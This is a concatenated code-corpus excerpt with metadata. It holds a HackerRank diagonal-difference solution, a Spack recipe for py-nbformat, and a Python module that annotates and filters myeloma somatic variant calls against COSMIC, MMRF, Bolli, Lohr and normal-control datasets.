r"C:\Windows", None) parser = windows_registry_parser.WinSystemDriveParser() self.assertEqual(r"C:", parser.Parse(stat, None).next()) def main(argv): test_lib.main(argv) if __name__ == "__main__": flags.StartMain(main)
true
true
f73d98e943ab352668b9803e39f6a89805e1c46f
783
py
Python
5.py
christi-john/hackerrank-algorithms
9d83a5afdc6305a0bd80a0c0f3d11b081a7143a1
[ "MIT" ]
null
null
null
5.py
christi-john/hackerrank-algorithms
9d83a5afdc6305a0bd80a0c0f3d11b081a7143a1
[ "MIT" ]
null
null
null
5.py
christi-john/hackerrank-algorithms
9d83a5afdc6305a0bd80a0c0f3d11b081a7143a1
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/diagonal-difference/problem #!/bin/python3 import math import os import random import re import sys # # Complete the 'diagonalDifference' function below. # # The function is expected to return an INTEGER. # The function accepts 2D_INTEGER_ARRAY arr as parameter. # def diagonalDifference(arr): # Write your code here num1=0 num2=0 for i in range(n): num1+=arr[i][i] num2+=arr[i][-i-1] return abs(num2-num1) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') n = int(input().strip()) arr = [] for _ in range(n): arr.append(list(map(int, input().rstrip().split()))) result = diagonalDifference(arr) fptr.write(str(result) + '\n') fptr.close()
19.097561
67
0.646232
import math import os import random import re import sys def diagonalDifference(arr): num1=0 num2=0 for i in range(n): num1+=arr[i][i] num2+=arr[i][-i-1] return abs(num2-num1) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') n = int(input().strip()) arr = [] for _ in range(n): arr.append(list(map(int, input().rstrip().split()))) result = diagonalDifference(arr) fptr.write(str(result) + '\n') fptr.close()
true
true
f73d992a11b52412d69cb2fb86f9a867f309152f
819
py
Python
var/spack/repos/builtin/packages/py-nbformat/package.py
nkianggiss/spack
3477d3375142a30f5714bb5966a6d8bb22c33c06
[ "ECL-2.0", "Apache-2.0", "MIT" ]
3
2019-06-27T13:26:50.000Z
2019-07-01T16:24:54.000Z
var/spack/repos/builtin/packages/py-nbformat/package.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
75
2016-07-27T11:43:00.000Z
2020-12-08T15:56:53.000Z
var/spack/repos/builtin/packages/py-nbformat/package.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
8
2015-10-16T13:51:49.000Z
2021-10-18T13:58:03.000Z
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyNbformat(PythonPackage): """The Jupyter Notebook format""" homepage = "https://github.com/jupyter/nbformat" url = "https://github.com/jupyter/nbformat/archive/4.1.0.tar.gz" version('4.1.0', '826b4fc4ec42553b20144f53b57b4e7b') version('4.0.1', 'ab7172e517c9d561c0c01eef5631b4c8') version('4.0.0', '7cf61359fa4e9cf3ef5e969e2fcb909e') depends_on('py-ipython-genutils', type=('build', 'run')) depends_on('py-traitlets', type=('build', 'run')) depends_on('py-jsonschema', type=('build', 'run')) depends_on('py-jupyter-core', type=('build', 'run'))
35.608696
73
0.698413
from spack import * class PyNbformat(PythonPackage): homepage = "https://github.com/jupyter/nbformat" url = "https://github.com/jupyter/nbformat/archive/4.1.0.tar.gz" version('4.1.0', '826b4fc4ec42553b20144f53b57b4e7b') version('4.0.1', 'ab7172e517c9d561c0c01eef5631b4c8') version('4.0.0', '7cf61359fa4e9cf3ef5e969e2fcb909e') depends_on('py-ipython-genutils', type=('build', 'run')) depends_on('py-traitlets', type=('build', 'run')) depends_on('py-jsonschema', type=('build', 'run')) depends_on('py-jupyter-core', type=('build', 'run'))
true
true
f73d994a1b75cb3a02aaabfa6ea0feb071e1c1c4
29,386
py
Python
myeloma_snv/commands.py
evenrus/myeloma_SNV
b8faa365babcc5583bc7b8431e4c5053acb35cb9
[ "MIT" ]
1
2019-12-27T01:31:01.000Z
2019-12-27T01:31:01.000Z
myeloma_snv/commands.py
evenrus/myeloma_SNV
b8faa365babcc5583bc7b8431e4c5053acb35cb9
[ "MIT" ]
null
null
null
myeloma_snv/commands.py
evenrus/myeloma_SNV
b8faa365babcc5583bc7b8431e4c5053acb35cb9
[ "MIT" ]
null
null
null
"""variants_process main command.""" import timeit import re from datetime import datetime from os.path import join import pandas as pd import numpy as np import pybedtools as pyb START = timeit.default_timer() ## IMPORT VARIANTS FILE def import_variants(path): """ Determine filetype and import, returns pandas dataFrame """ if re.search('.csv$', path): try: variants = pd.read_csv( filepath_or_buffer=path, comment='#', low_memory=False) except NameError: raise Exception(f'Error when importing file {path}') print(f'Loaded file containing {variants.shape[0]} ' f'variant calls. Processing...') return(variants) elif re.search('.tsv.gz$', path): try: variants = pd.read_csv( filepath_or_buffer=path, compression='gzip', sep='\t', comment='#', low_memory=False) except NameError: raise Exception(f'Error when importing file {path}') print(f'Loaded file containing {variants.shape[0]} ' f'variant calls. Processing...') return(variants) else: raise Exception(f'Input file {path} has unsupported ' f'extension: try .csv or .tsv.gz') ## ANNOTATION FUNCTIONS def annotate_cosmic(variants): """ Generate columns: HEME_EXACT: Number of exact matches for hematopoietic and lymphoid tissue in cosmic. ANY_EXACT_POS: YES/NO for any EXACT or POS match in cosmic. """ heme_exact = [] cosmic = variants['COSMIC'].tolist() search_1 = 'HAEMATOPOIETIC_AND_LYMPHOID_TISSUE' search_2 = r'(?<=HAEMATOPOIETIC_AND_LYMPHOID_TISSUE=)\w+' for entry in cosmic: if pd.isnull(entry): heme_exact.append(None) else: first = entry.split('|')[0] if re.search('^GENOMIC_EXACT', first): if re.search(search_1, first): count = re.search(search_2, first)[0] heme_exact.append(count) else: heme_exact.append(None) else: heme_exact.append(None) variants['HEME_EXACT'] = heme_exact any_exact_pos = [] for entry in cosmic: if pd.isnull(entry): any_exact_pos.append(0) elif re.search( 'GENOMIC_EXACT', entry) or re.search( 'GENOMIC_POS', entry): any_exact_pos.append(1) else: any_exact_pos.append(0) variants['ANY_EXACT_POS'] = any_exact_pos return(variants) def annotate_genefreq(variants, genes): """ Generate column: MAX_MUTFREQ: Maximal mutation frequency in gene as previously published in large MM studies. """ freqlist = pd.read_excel(io=genes) freqlist['MAX_MUTFREQ'] = round( freqlist.filter(regex='freq').max(axis=1), 1) freqlist = freqlist[['GENE', 'MAX_MUTFREQ']] variants = pd.merge(variants, freqlist, how='left') return(variants) def annotate_maf(variants): """ Generate column: MAX_MAF: Maximal MAF of variant in any normal database """ variants['MAX_MAF'] = 0 # Sets variable to 0 if frequency is not reported variants['MAX_MAF'] = variants.filter(regex='MAF').max(axis=1) return(variants) def annotate_normals(variants, path_normals): """ Annotates variants with internal normal controls: Class: Close (chr, start within 10 bp), Pos (chr, start), Exact (chr, start, ref, alt) Frequency: Number of matches VAF: Median VAF Q25: 25th VAF-quartile Q75: 75th VAF-quartile Positions: START position Change: REF > ALT """ normals = pd.read_csv( filepath_or_buffer=path_normals) normals = normals.set_index(['CHR','START']) def annot_row(row, data): thres = 10 chrom = str(row['CHR']) start = row['START'] po = (chrom, start) in data.index close = data.ix[(chrom, start-thres):(chrom, start+thres)] if po: pos = data.loc[(chrom, start)] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['count'].iloc[0], exact['MEDIAN_VAF'].iloc[0], exact['VAF_Q25'].iloc[0], exact['VAF_Q75'].iloc[0], start, exact['REF'].iloc[0] + '>' + exact['ALT'].iloc[0] ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', ', '.join(pos['count'].astype(str)), ', '.join(pos['MEDIAN_VAF'].astype(str)), ', '.join(pos['VAF_Q25'].astype(str)), ', '.join(pos['VAF_Q75'].astype(str)), ', '.join([str(i) for i in pos.index.\ get_level_values('START').tolist()]), ', '.join([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'], pos['ALT'])]) ] return pd.Series(pos_out) elif close.shape[0] > 0: cl_out = ['genomic_close', ', '.join(close['count'].astype(str).tolist()), ', '.join(close['MEDIAN_VAF'].astype(str).tolist()), ', '.join(close['VAF_Q25'].astype(str).tolist()), ', '.join(close['VAF_Q75'].astype(str).tolist()), ', '.join([str(i) for i in close.index.\ get_level_values('START').tolist()]), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*7) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change"] out_names = ['Normals' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, normals), axis=1) return(variants) def annotate_mmrf(variants, path_mmrf): """ Annotates variants with MMRF data: Class: Close (chr, start within 10 bp), Pos (chr, start), Exact (chr, start, ref, alt) Frequency: Number of matches VAF: Median VAF Q25: 25th VAF-quartile Q75: 75th VAF-quartile Positions: START position Change: REF > ALT """ mmrf = pd.read_csv(filepath_or_buffer=path_mmrf, sep='\t') mmrf = mmrf[["#CHROM", "POS", "REF", "ALT", "GEN[1].AR"]] mmrf = mmrf.drop_duplicates() ## What are these duplicates? mmrf.columns = ["CHR", "START", "REF", "ALT", "TARGET_VAF"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), exact['TARGET_VAF'].median(), exact['TARGET_VAF'].quantile(q=0.25), exact['TARGET_VAF'].quantile(q=0.75), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), pos['TARGET_VAF'].median(), pos['TARGET_VAF'].quantile(q=0.25), pos['TARGET_VAF'].quantile(q=0.75), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .median().astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.25).astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.75).astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*7) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change"] out_names = ['MMRF' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, mmrf), axis=1) return(variants) def annotate_bolli(variants, path_bolli): """ Annotates variants with Bolli data: Class: Close (chr, start within 10 bp), Pos (chr, start), Exact (chr, start, ref, alt) Frequency: Number of matches Positions: START position Change: REF > ALT Annotation: Manual annotation category. """ bolli = pd.read_csv(filepath_or_buffer=path_bolli, sep='\t') bolli = bolli[["CHR", "START", "WT", "MT", "Variant_class"]] bolli.columns = ["CHR", "START", "REF", "ALT", "ANNOTATION"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])), ', '.join(set(exact['ANNOTATION'])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])), ', '.join(set(pos['ANNOTATION'])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])), ', '.join(set(close['ANNOTATION'])) ] return pd.Series(cl_out) else: return pd.Series([None]*5) out_names = ["_Class", "_Frequency", "_Position", "_Change", "_Annotation"] out_names = ['Bolli' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, bolli), axis=1) return(variants) def annotate_lohr(variants, lohr_path): """ Annotates variants with lohr data: Class: Close (chr, start within 10 bp), Pos (chr, start), Exact (chr, start, ref, alt) Frequency: Number of matches Positions: START position Change: REF > ALT """ lohr = pd.read_csv(filepath_or_buffer=lohr_path, sep='\t') lohr = lohr[["Chromosome", "Start_Position", "Reference_Allele", "Tumor_Seq_Allele2"]] lohr.columns = ["CHR", "START", "REF", "ALT"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*4) out_names = ["_Class", "_Frequency", "_Position", "_Change"] out_names = ['Lohr' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, lohr), axis=1) return(variants) def annotate_mytype(variants, path_mytype): """ Annotates variants with previous myTYPE data: Class: Close (chr, start within 10 bp), Pos (chr, start), Exact (chr, start, ref, alt) Frequency: Number of matches VAF: Median VAF Q25: 25th VAF-quartile Q75: 75th VAF-quartile Positions: START position Change: REF > ALT Annotation: Manual annotation category. """ mytype = pd.read_csv(filepath_or_buffer=path_mytype, sep=',') mytype = mytype[["CHR", "START", "REF", "ALT", "MANUAL_ANNOTATION", "TARGET_VAF"]] mytype.columns = ["CHR", "START", "REF", "ALT", "ANNOTATION", "TARGET_VAF"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), exact['TARGET_VAF'].median(), exact['TARGET_VAF'].quantile(q=0.25), exact['TARGET_VAF'].quantile(q=0.75), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])), ', '.join(set(exact['ANNOTATION'])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), pos['TARGET_VAF'].median(), pos['TARGET_VAF'].quantile(q=0.25), pos['TARGET_VAF'].quantile(q=0.75), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])), ', '.join(set(pos['ANNOTATION'])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .median().astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.25).astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.75).astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])), ', '.join(set(close['ANNOTATION'])) ] return pd.Series(cl_out) else: return pd.Series([None]*8) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change", "_Annotation"] out_names = ['myTYPE' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, mytype), axis=1) return(variants) def annotate_known(variants, mytype): """ Generate columns: KNOWN_MM = 1 if previously found in MM. Includes any match in MMRF, Bolli and Lohr, and UNKNOWN/LIKELY/ONCOGENIC by mytype """ # Only run function if data is passed to the optional variable "mytype" if mytype: mytype_annot = variants['myTYPE_Annotation'].tolist() myTYPE_somatic = [] for entry in mytype_annot: if pd.isnull(entry): myTYPE_somatic.append(0) else: search_1 = re.search('ONCOGENIC', entry) search_2 = re.search('LIKELY', entry) search_3 = re.search('UNKNOWN', entry) if search_1 or search_2 or search_3: myTYPE_somatic.append(1) else: myTYPE_somatic.append(0) variants['myTYPE_somatic'] = myTYPE_somatic else: variants['myTYPE_somatic'] = 0 # Define column KNOWN_MM based on annotation data variants['KNOWN_MM'] = np.where((variants['myTYPE_somatic'] == 1) | (variants['MMRF_Class'].notnull()) | (variants['Bolli_Class'].notnull()) | (variants['Lohr_Class'].notnull()), 1, 0) variants = variants.drop('myTYPE_somatic', axis=1) return(variants) ## APPLY FLAGS FOR FILTERING def filter_panel(variants, genes_bed): """ Filter MFLAG_PANEL: 1 if variant is not in BED file of regions to keep """ variants_bed = variants[["CHR", "START", "END", "ID_VARIANT"]] # Turning variants file into bed format variants_bed = pyb.BedTool.from_dataframe(variants_bed) # Import list of genes in panel as bed format genes = pyb.BedTool(genes_bed) # Bed file with intersection of panel and input file variants_inter = variants_bed.intersect(genes, u=True) # Empty list for names of variants in intersection bed file flaglist = [] # If bed file is not empty if not variants_inter.head(n=1, as_string=True) == '': # Convert intersect bed file to data frame; subset col with variant ID flaglist = pyb.BedTool.to_dataframe(variants_inter)['name'] # Flag variant if ID is not in overlap list variants['MFLAG_PANEL'] = np.where(variants.ID_VARIANT.isin(flaglist), 0, 1) return(variants) def filter_drop(variants, genes_drop): """ Filter MFLAG_DROP: 1 if variant is in list of genes to drop. """ drop = pd.read_excel(io=genes_drop)['GENE'] variants['MFLAG_DROP'] = np.where(variants.GENE.isin(drop), 1, 0) return(variants) def filter_igh(variants, igh_path): """ Filter MFLAG_IGH: 1 if variant in IGH locus """ variants_bed = variants[["CHR", "START", "END", "ID_VARIANT"]] variants_bed = pyb.BedTool.from_dataframe(variants_bed) igh = pyb.BedTool(igh_path) variants_inter = variants_bed.intersect(igh, u=True) flaglist = [] if not variants_inter.head(n=1, as_string=True) == '': flaglist = pyb.BedTool.to_dataframe(variants_inter)['name'] variants['MFLAG_IGH'] = np.where(variants.ID_VARIANT.isin(flaglist), 1, 0) return(variants) def filter_maf(variants): """ Filter MFLAG_MAF: 1 if variant MAF > 3 % in exac/1000genomes """ variants['MFLAG_MAF'] = np.where(variants['MAX_MAF'] > 0.03, 1, 0) return(variants) def filter_maf_cosmic(variants, mode): """ Filter MFLAG_MAFCOS: 1 if variant has >0.1 % MAF and not in COSMIC For SNVs: Only counts exact and pos as in cosmic For Indels: Counts all COSMIC. """ if mode == 'snv': variants['MFLAG_MAFCOS'] = np.where( (variants['MAX_MAF'] > 0.001) & (variants['ANY_EXACT_POS'] == 0), 1, 0) if mode == 'indel': variants['MFLAG_MAFCOS'] = np.where( (variants['MAX_MAF'] > 0.001) & (variants['COSMIC'].isnull()), 1, 0) return(variants) def filter_nonpass(variants, mode): """ Filter MFLAG_MAF: 1 if NON-PASS AND not in cosmic or previously known in MM Counts SNVs and Indels as "in cosmic" like for MAFCOS flag. For SNV: Only removes missense mutations with this flag """ if mode == 'snv': drop = ['non_synonymous_codon'] variants['MFLAG_NONPASS'] = np.where( (variants['FILTER'] != "PASS") & (variants['EFFECT'].isin(drop)) & (variants['ANY_EXACT_POS'] == 0) & (variants['KNOWN_MM'] == 0), 1, 0) return(variants) variants['MFLAG_NONPASS'] = np.where( (variants['FILTER'] != "PASS") & (variants['COSMIC'].isnull()) & (variants['KNOWN_MM'] == 0), 1, 0) return(variants) def filter_normals(variants): """ Filter MFLAG_NORM: 1 if variant has genomic exact or pos in normals """ match = ['genomic_exact', 'genomic_pos'] variants['MFLAG_NORM'] = np.where(variants['Normals_Class'] \ .isin(match), 1, 0) return(variants) def filter_vaf(variants): """ Filter MFLAG_VAF: 1 if target VAF < 1 % """ variants['MFLAG_VAF'] = np.where( (variants['TARGET_VAF'] < 0.01) & (variants['FILTER'] != 'PASS'), 1, 0) return(variants) def filter_bidir(variants): """ Filter MFLAG_BIDIR: 1 if BIDIR = 0 """ variants['MFLAG_BIDIR'] = np.where(variants['BIDIR'] == 0, 1, 0) return(variants) ## FILTER AND EXPORT def namecore(infile): """ Returns the "core" of the input file name, for use in output files. """ name = infile.split('/')[-1] if re.search('.csv$', name): return(re.sub('.csv$', '', name)) return(re.sub('.tsv.gz$', '', name)) def filter_export(variants, outdir, name, mode): """ Function properties: 1. Filters variants into "good" or "bad" based on flags. 2. Writes files with good and bad variants. 3. Creates processing summary report. """ # Filtering good = variants[variants.filter(regex='MFLAG').sum(axis=1) == 0] bad = variants[variants.filter(regex='MFLAG').sum(axis=1) > 0] # Define output names date = str(datetime.today()).split()[0].split("-") name = '_'.join([name, '_'.join(date)]) goodname = join(outdir, name + '_goodcalls.csv') badname = join(outdir, name + '_badcalls.csv') textname = join(outdir, name + '_report.txt') # Export files good.to_csv( path_or_buf=goodname, index=False) bad.to_csv( path_or_buf=badname, index=False) # Summary report stop = timeit.default_timer() with open(textname, 'w') as f: # Call the "Version" file for version info? f.write( f'Somatic variant processing for myTYPE\nv.1.0\n ' f'Completed time: {str(datetime.today()).split(".")[0]}\n') f.write(f'Run time: {round(stop-START, 3)}\n') f.write(f'####\nMode: {mode}\n') f.write(f'Imported calls: {variants.shape[0]}\n') f.write('Flagging variants for filtering:\n') f.write(f'MFLAG_PANEL: Variant not in BED file of ' f'regions to keep: {variants["MFLAG_PANEL"].sum()}\n') f.write(f'MFLAG_DROP: Variant in excluded gene: ' f'{variants["MFLAG_DROP"].sum()}\n') f.write(f'MFLAG_IGH: In IGH locus: {variants["MFLAG_IGH"].sum()}\n') f.write(f'MFLAG_MAF: MAF > 3 % in exac/1000genomes: ' f'{variants["MFLAG_MAF"].sum()}\n') f.write(f'MFLAG_MAFCOS: MAF > 0.1 % and not in COSMIC ' f'(exact/pos): {variants["MFLAG_MAFCOS"].sum()}\n') f.write(f'MFLAG_NONPASS: NON-PASS IF not in cosmic, previously ' f'known in MM, not stopgain, splicesite..: ' f'{variants["MFLAG_NONPASS"].sum()}\n') f.write(f'MFLAG_NORM: Variant exact or pos in >0 good normals: ' f'{variants["MFLAG_NORM"].sum()}\n') f.write(f'MFLAG_VAF: Remove NON-PASS calls with target ' f'VAF < 1 %: {variants["MFLAG_VAF"].sum()}\n') f.write(f'MFLAG_BIDIR: Remove variants BIDIR = 0 (only reads ' f'on one strand): {variants["MFLAG_BIDIR"].sum(0)}\n') f.write(f'Removing calls with >= 1 MFLAG: {bad.shape[0]}\n') f.write(f'Calls passed filters: {good.shape[0]}\n') return() # Main Function def process( mode, infile, outdir, genes, genes_drop, genes_bed, igh, mmrf, bolli, lohr, normals, mytype): """Main function to process myTYPE SNV and indel output""" ## IMPORTING DATA variants = import_variants(infile) ## ANNOTATIONS variants = annotate_cosmic(variants) if genes: # Only runs if a path was passed to optional argument "gene" variants = annotate_genefreq(variants, genes) # Replace this with mutation frequency from MMRF? (and other raw data?) variants = annotate_maf(variants) variants = annotate_normals(variants, normals) variants = annotate_mmrf(variants, mmrf) variants = annotate_bolli(variants, bolli) variants = annotate_lohr(variants, lohr) if mytype: # Only runs if a path was passed to optional argument "mytype" variants = annotate_mytype(variants, mytype) variants = annotate_known(variants, mytype) ## FILTERS variants = filter_panel(variants, genes_bed) if genes_drop: variants = filter_drop(variants, genes_drop) variants = filter_igh(variants, igh) variants = filter_maf(variants) variants = filter_maf_cosmic(variants, mode) variants = filter_nonpass(variants, mode) variants = filter_normals(variants) variants = filter_vaf(variants) variants = filter_bidir(variants) ## OUTPUT name = namecore(infile) filter_export(variants, outdir, name, mode) print('Variant processing complete') return(variants) # Added this here - may be necessary for test?
40.310014
80
0.512795
import timeit import re from datetime import datetime from os.path import join import pandas as pd import numpy as np import pybedtools as pyb START = timeit.default_timer() ath): if re.search('.csv$', path): try: variants = pd.read_csv( filepath_or_buffer=path, comment='#', low_memory=False) except NameError: raise Exception(f'Error when importing file {path}') print(f'Loaded file containing {variants.shape[0]} ' f'variant calls. Processing...') return(variants) elif re.search('.tsv.gz$', path): try: variants = pd.read_csv( filepath_or_buffer=path, compression='gzip', sep='\t', comment='#', low_memory=False) except NameError: raise Exception(f'Error when importing file {path}') print(f'Loaded file containing {variants.shape[0]} ' f'variant calls. Processing...') return(variants) else: raise Exception(f'Input file {path} has unsupported ' f'extension: try .csv or .tsv.gz') ariants): heme_exact = [] cosmic = variants['COSMIC'].tolist() search_1 = 'HAEMATOPOIETIC_AND_LYMPHOID_TISSUE' search_2 = r'(?<=HAEMATOPOIETIC_AND_LYMPHOID_TISSUE=)\w+' for entry in cosmic: if pd.isnull(entry): heme_exact.append(None) else: first = entry.split('|')[0] if re.search('^GENOMIC_EXACT', first): if re.search(search_1, first): count = re.search(search_2, first)[0] heme_exact.append(count) else: heme_exact.append(None) else: heme_exact.append(None) variants['HEME_EXACT'] = heme_exact any_exact_pos = [] for entry in cosmic: if pd.isnull(entry): any_exact_pos.append(0) elif re.search( 'GENOMIC_EXACT', entry) or re.search( 'GENOMIC_POS', entry): any_exact_pos.append(1) else: any_exact_pos.append(0) variants['ANY_EXACT_POS'] = any_exact_pos return(variants) def annotate_genefreq(variants, genes): freqlist = pd.read_excel(io=genes) freqlist['MAX_MUTFREQ'] = round( freqlist.filter(regex='freq').max(axis=1), 1) freqlist = freqlist[['GENE', 'MAX_MUTFREQ']] variants = pd.merge(variants, freqlist, how='left') return(variants) def annotate_maf(variants): variants['MAX_MAF'] = 0 variants['MAX_MAF'] = variants.filter(regex='MAF').max(axis=1) return(variants) def annotate_normals(variants, path_normals): normals = pd.read_csv( filepath_or_buffer=path_normals) normals = normals.set_index(['CHR','START']) def annot_row(row, data): thres = 10 chrom = str(row['CHR']) start = row['START'] po = (chrom, start) in data.index close = data.ix[(chrom, start-thres):(chrom, start+thres)] if po: pos = data.loc[(chrom, start)] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['count'].iloc[0], exact['MEDIAN_VAF'].iloc[0], exact['VAF_Q25'].iloc[0], exact['VAF_Q75'].iloc[0], start, exact['REF'].iloc[0] + '>' + exact['ALT'].iloc[0] ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', ', '.join(pos['count'].astype(str)), ', '.join(pos['MEDIAN_VAF'].astype(str)), ', '.join(pos['VAF_Q25'].astype(str)), ', '.join(pos['VAF_Q75'].astype(str)), ', '.join([str(i) for i in pos.index.\ get_level_values('START').tolist()]), ', '.join([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'], pos['ALT'])]) ] return pd.Series(pos_out) elif close.shape[0] > 0: cl_out = ['genomic_close', ', '.join(close['count'].astype(str).tolist()), ', '.join(close['MEDIAN_VAF'].astype(str).tolist()), ', '.join(close['VAF_Q25'].astype(str).tolist()), ', '.join(close['VAF_Q75'].astype(str).tolist()), ', '.join([str(i) for i in close.index.\ get_level_values('START').tolist()]), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*7) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change"] out_names = ['Normals' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, normals), axis=1) return(variants) def annotate_mmrf(variants, path_mmrf): mmrf = pd.read_csv(filepath_or_buffer=path_mmrf, sep='\t') mmrf = mmrf[["#CHROM", "POS", "REF", "ALT", "GEN[1].AR"]] mmrf = mmrf.drop_duplicates() "START", "REF", "ALT", "TARGET_VAF"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = 